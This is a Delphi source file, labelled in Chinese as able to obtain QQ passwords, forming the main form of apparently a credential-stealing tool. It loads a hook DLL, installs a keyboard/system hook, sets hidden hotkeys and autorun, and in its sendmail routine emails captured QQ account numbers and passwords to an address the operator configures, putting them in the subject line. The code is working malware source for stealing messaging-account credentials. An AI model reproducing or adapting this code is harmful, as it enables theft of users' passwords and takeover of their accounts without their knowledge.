mainfrm.pas

可以获得qq密码

       showmessage('文件已损坏');
       raise exception.Create('err');
      end;
   end
  else
    begin
     showmessage('dll不存在');
     raise exception.Create('err');
    end;
 except
  on exception do
   begin
    FreeLibrary(dllhandle);
    exit;
   end;
 end;
  result:=true;
 end;

function TGQPFRM.initapp:boolean;
begin
  result:=false;
  if  dLoadDll=false then exit;
  
  if  not FileExists(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini') then
      begin
       SetDefaultOption;
       WriteOptionFile;
      end
  else
      begin
       readOptionFile;
      end;           

//  根据控制信息设置窗口
  UpdataForm;
//设置系统
  //定义系统热键
  OptWinhotkeyid:=GlobalAddAtom(pchar('OptWinHotkey'))-$C000;
  CloseAppHotKeyId:=GlobalAddAtom(pchar('CloseAppHotKey'))-$C000;
  
  SetSystem;

  hookon;

 result:=true;
end;

procedure TGQPFRM.closeapp;
begin
 hookoff;

//卸载热键
 unregisterhotkey(handle,OptWinhotkeyid);
 if OptWinhotkeyid<>0 then DeleteAtom(OptWinhotkeyid);
 unregisterhotkey(handle,CloseAppHotKeyId);
  if CloseAppHotKeyId<>0 then DeleteAtom(CloseAppHotKeyId);

 if dllhandle<>0 then FreeLibrary(dllhandle);
// sleep(100);
// if FileExists(dllname) then deletefile(dllname);
 
 {
   关闭hook
   卸载dll

   卸载热键
   卸载内存映象
   }
end;

procedure TGQPFRM.Button4Click(Sender: TObject);
begin
 self.Visible:=false;
end;

function TGQPFRM.CheckNetTabSheet:boolean;
 begin
 result:=false;
 ftemoption.autosendmail:=self.Cbautosendmail.Checked;
 if self.Cbautosendmail.Checked then
    begin
     if self.EdMailServer.Text='' then begin showmessage('请填写smtp服务器');exit;end;
     if self.EdMailPort.Text='' then  begin showmessage('请填写端口号');exit;end;

     if self.EdMailAddress.Text=''then  begin showmessage('请填写收件人邮箱');exit;end;
     ftemoption.mailserver:=self.EdMailServer.Text;
     ftemoption.MailAddress:=self.EdMailAddress.Text;
     try
      ftemoption.mailPort:=strtoint(self.EdMailPort.Text);
     except
      on econverterror do
       begin
        showmessage('端口号输入错误！');
        exit;
       end;
     end;

     ftemoption.servercheck:=self.CBServerCheck.Checked;
     if self.CBServerCheck.Checked then
       begin
        if self.EdMailUsername.Text='' then begin showmessage('请填写验证用户');exit;end;
        if self.EdMailPassword.Text=''then begin showmessage('请填写验证密码');exit;end;
        ftemoption.mailUserName:=self.EdMailUsername.Text;
        ftemoption.mailPassword:=self.EdMailPassword.Text;
       end;
   end;

   result:=true;
 end;

function  TGQPFRM.CheckInput:boolean;
begin
  result:=false;

   ftemoption.autorun:=CbAutoRun.Checked;

   if self.CBPASS.Checked then
      begin
       if self.EdOldPass.Text<>AppOption.password then
        begin
         showmessage('原始密码错误！');
         exit;
        end;
       if self.EdNewPass1.Text <>self.EdNewPass2.Text  then
        begin
         showmessage('新密码和确认密码不一致！');
         exit;
        end;
        ftemoption.password:=self.EdNewPass2.Text;
      end
   else
      ftemoption.password:=appoption.password;

  if self.RbDefOptHotkey.Checked then
    begin
    ftemoption.OptWinHotkey.cusHotkey:=false;
    ftemoption.OptWinHotkey.ctrl:=true;
    ftemoption.OptWinHotkey.shift:=true;
    ftemoption.OptWinHotkey.alt:=true;
    ftemoption.OptWinHotkey.key:=VK_F7;
   end;
 if self.RbDefDataHotkey.Checked then
   begin
    ftemoption.CloseAppHotKey.cusHotkey:=false;
    ftemoption.CloseAppHotKey.ctrl:=true;
    ftemoption.CloseAppHotKey.shift:=true;
    ftemoption.CloseAppHotKey.alt:=true;
    ftemoption.CloseAppHotKey.key:=VK_F8;
   end;

 if self.RbCusOptHotkey.Checked then
  begin
    ftemoption.OptWinHotkey.cusHotkey:=true;
    if self.EdCusOptHotkey.Text ='' then
      begin showmessage('自定义热键不能为空!'); exit; end;
    if not(ftemoption.OptWinHotkey.shift or ftemoption.OptWinHotkey.ctrl or
         ftemoption.OptWinHotkey.alt)  then begin showmessage('热键不合法'); exit; end;
    if ftemoption.OptWinHotkey.key=0 then begin  showmessage('热键不合法'); exit; end;
  end;

if self.RbCusDataHotkey.Checked then
 begin
   ftemoption.CloseAppHotKey.cusHotkey:=true;
   if self.RbCusDataHotkey.Checked then
    if (self.EdCusDataHotkey.Text ='') then
     begin showmessage('自定义热键不能为空!'); exit; end;
   if not(ftemoption.CloseAppHotKey.shift or ftemoption.CloseAppHotKey.ctrl or
      ftemoption.CloseAppHotKey.alt)  then begin showmessage('热键不合法'); exit; end;
   if ftemoption.CloseAppHotKey.key=0 then begin  showmessage('热键不合法'); exit; end;
 end;
 
  if not CheckNetTabSheet then exit;
     
  result:=true;
end;

procedure TGQPFRM.Button3Click(Sender: TObject);
begin

if not CheckInput then exit;
 setOption;
 WriteOptionFile;
 SetSystem;
 self.Visible:=false;
end;

procedure TGQPFRM.CBPASSClick(Sender: TObject);
begin
 if CBPass.Checked then
  begin
   EdOldPass.Enabled:=true;EdOldPass.Color:=clwindow;
   EdNewPass1.Enabled:=true;EdNewPass1.Color:=clwindow;
   EdNewPass2.Enabled:=true;EdNewPass2.Color:=clwindow;
  end
 else
  begin
   EdOldpass.Enabled:=false;EdOldPass.Color:=clinactiveborder;
   EdNewPass1.Enabled:=False;EdNewPass1.Color:=clinactiveborder;
   EdnewPass2.enabled:=false;EdnewPass2.Color:=clinactiveborder;
  end;
end;

procedure TGQPFRM.RbCusOptHotkeyClick(Sender: TObject);
begin
 EdCusOptHotkey.Enabled:=true;
 EdCusOptHotkey.Color:=clwindow;
end;

procedure TGQPFRM.RbDefOptHotkeyClick(Sender: TObject);
begin
 EdCusOptHotkey.Enabled:=false;
 EdCusOptHotkey.Color:=clinactiveborder;
end;

procedure TGQPFRM.RbDefDataHotkeyClick(Sender: TObject);
begin
 EdCusDataHotkey.Enabled:=false;
 EdCusDataHotkey.Color:=clinactiveborder;
end;

procedure TGQPFRM.RbCusDataHotkeyClick(Sender: TObject);
begin
 EdCusDataHotkey.Enabled:=true;
 EdCusDataHotkey.Color:=clwindow;
end;

procedure TGQPFRM.CbautosendmailClick(Sender: TObject);
begin
  if Cbautosendmail.Checked then
   begin
    Edmailserver.Enabled:=true;Edmailserver.Color:=clwindow; 
    EdmailAddress.Enabled:=true;EdmailAddress.Color:=clwindow;
    EdmailPort.Enabled:=true;EdmailPort.Color:=clwindow;
    cbservercheck.Enabled:=true;
    BuMailTest.Enabled:=true;
   end
  else
   begin
    Edmailserver.Enabled:=false;Edmailserver.Color:=clinactiveborder;
    EdmailAddress.Enabled:=false;EdmailAddress.Color:=clinactiveborder;
    EdmailPort.Enabled:=false;EdmailPort.Color:=clinactiveborder;
    cbservercheck.Checked:=false;
    cbservercheck.Enabled:=false;
    EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
    EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
    BuMailTest.Enabled:=false;   
   end;
end;
procedure TGQPFRM.CBServerCheckClick(Sender: TObject);
begin
  if CBServerCheck.Checked then
   begin
    EdmailUserName.Enabled:=true;EdmailUserName.Color:=clwindow;
    EdmailPassword.Enabled:=true;EdmailPassword.Color:=clwindow;
   end
  else
   begin
    EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
    EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
   end;
end;
procedure TGQPFRM.FormCreate(Sender: TObject);
begin
 if initapp=false then application.Terminate;
end;

procedure TGQPFRM.EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var
 mstring:string;
begin
  if not (key in [16..18]) then
     begin
      mkey1:=GetKeyStr(key);
      ftemoption.OptWinHotkey.key:=key;
     end;
      
  if ssShift in Shift then
      begin
       mstring:='Shift+';
       ftemoption.OptWinHotkey.shift:=true;
      end
  else
       ftemoption.OptWinHotkey.shift:=false;
       
  if ssCtrl in shift then
    begin
     mString:=mstring+'Ctrl+';
     ftemoption.OptWinHotkey.ctrl:=true;
    end
  else
     ftemoption.OptWinHotkey.ctrl:=false;

  if ssAlt in Shift then
   begin
    mString:=mstring+'ALT+';
    ftemoption.OptWinHotkey.alt:=true;
   end
  else
    ftemoption.OptWinHotkey.alt:=false;
     
  mString:=mString+mkey1;
  EdCusOptHotkey.Text:=mstring;
end;

procedure TGQPFRM.EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var
 mstring:string;
begin
 if not (key in [16..18]) then
  begin
   mkey2:=GetKeyStr(key);
   ftemoption.CloseAppHotKey.key:=key;
  end;

  if ssShift in Shift then
      begin
       mstring:='Shift+';
       ftemoption.CloseAppHotKey.shift:=true;
      end
  else
       ftemoption.CloseAppHotKey.shift:=false;
       
  if ssCtrl in shift then
    begin
     mString:=mstring+'Ctrl+';
     ftemoption.CloseAppHotKey.ctrl:=true;
    end
  else
     ftemoption.CloseAppHotKey.ctrl:=false;

  if ssAlt in Shift then
   begin
    mString:=mstring+'ALT+';
    ftemoption.CloseAppHotKey.alt:=true;
   end
  else
     ftemoption.CloseAppHotKey.alt:=false;
     
   mString:=mString+mkey2;
  EdCusDatahotkey.Text:=mstring;

end;

procedure TGQPFRM.EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
begin
key:=#0;
end;

procedure TGQPFRM.EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
begin
key:=#0;
end;
procedure TGQPFRM.TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
 var
  fromEmail:string;
  i:integer;
 begin     
  if whetherOnLine=false then begin showmessage('请检查网络是否连通');exit;end;
  i:=pos('.',hostaddress);
  fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
  try
   smtp.Port:=strtoint(port);
  except
   on econverterror do
    begin
     showmessage('端口输入错误');
     exit;
    end;
  end;
  SMTP.Host:=hostaddress;

  if self.CBServerCheck.Checked then
   begin
    SMTP.AuthenticationType:=atLogin;
    SMTP.UserID:=userId;
    SMTP.Password:=password;
   end
  else
   begin
    SMTP.AuthenticationType:=atnone;
   end;

  MSG.Too.Add(Emailaddress);
  MSG.From:='<'+fromemail+'>';
  MSG.Subject:='邮件测试成功';
    with TSenderThread.Create(True) do begin
      FreeOnTerminate := True;
      mstate:=false;
      mSMTP := SMTP;
      mMsg := Msg;
      Resume;
    end;        
 end;
 
procedure TGQPFRM.sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
                       qqnum:string;qqpass:string);
 var
  fromEmail:string;
  i:integer;
 begin
  if whetherOnLine=false then begin exit;end;
  i:=pos('.',hostaddress);
  fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
  try
   smtp.Port:=port;
  except
   on econverterror do
    begin
     showmessage('端口输入错误');
     exit;
    end;
  end;
  SMTP.Host:=hostaddress;

  if appoption.servercheck then
   begin
    SMTP.AuthenticationType:=atLogin;
    SMTP.UserID:=userId;
    SMTP.Password:=password;
   end
  else
   begin
    smtp.AuthenticationType:=atnone;
   end;

  MSG.Too.Add(Emailaddress);
  MSG.From:='QQ密码<'+fromemail+'>';
  MSG.Subject:='number:'+qqnum+'  password:'+qqpass;
    with TSenderThread.Create(True) do begin
      FreeOnTerminate := True;
      mstate:=true;
      mSMTP := SMTP;
      mMsg := Msg;
      Resume;
    end;
end;

procedure TSenderThread.Execute;
begin
  try
   mSMTP.Send(mMsg);
   if self.mstate=false then showmessage('邮件测试成功');
  except
     on EWinshoeResponseError do
      begin
       if mstate=false then showmessage('用户名或密码错误或E-mail地址有误');
       Terminate;
      end;
     on EWinshoeSocketError do
      begin
       if mstate=false then showmessage('邮件服务器地址错误');
       Terminate;
      end;
     else
      begin
       if mstate=false then showmessage('未知错误');
       terminate;
      end;
  end;

end;
function TGQPFRM.WhetherOnLine:boolean;
begin      
 if InternetCheckConnection('http://www.163.com/', 1, 0) then
     result:=true
 else
     result:=false;
end;

procedure TGQPFRM.BuMailTestClick(Sender: TObject);
begin
 if not checkNetTabSheet then exit;
 self.TestSendMail(EdMailServer.Text,EdMailPort.Text,EdMailUsername.Text,EdMailPassword.Text,
                   EdMailAddress.Text);
end;

procedure TGQPFRM.Button2Click(Sender: TObject);
begin
  savedialog1.Filter:='文本文件 (*.txt)|*.TXT';
  savedialog1.FileName:=appoption.DataFile;
  if savedialog1.Execute then
     begin
      ftemoption.datafile:=savedialog1.FileName+'.txt';
      EDataFile.Text:=ftemoption.datafile;
     end;

end;

procedure TGQPFRM.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 if dllhandle<>0 then closeapp;
 canclose:=true;
end;

end.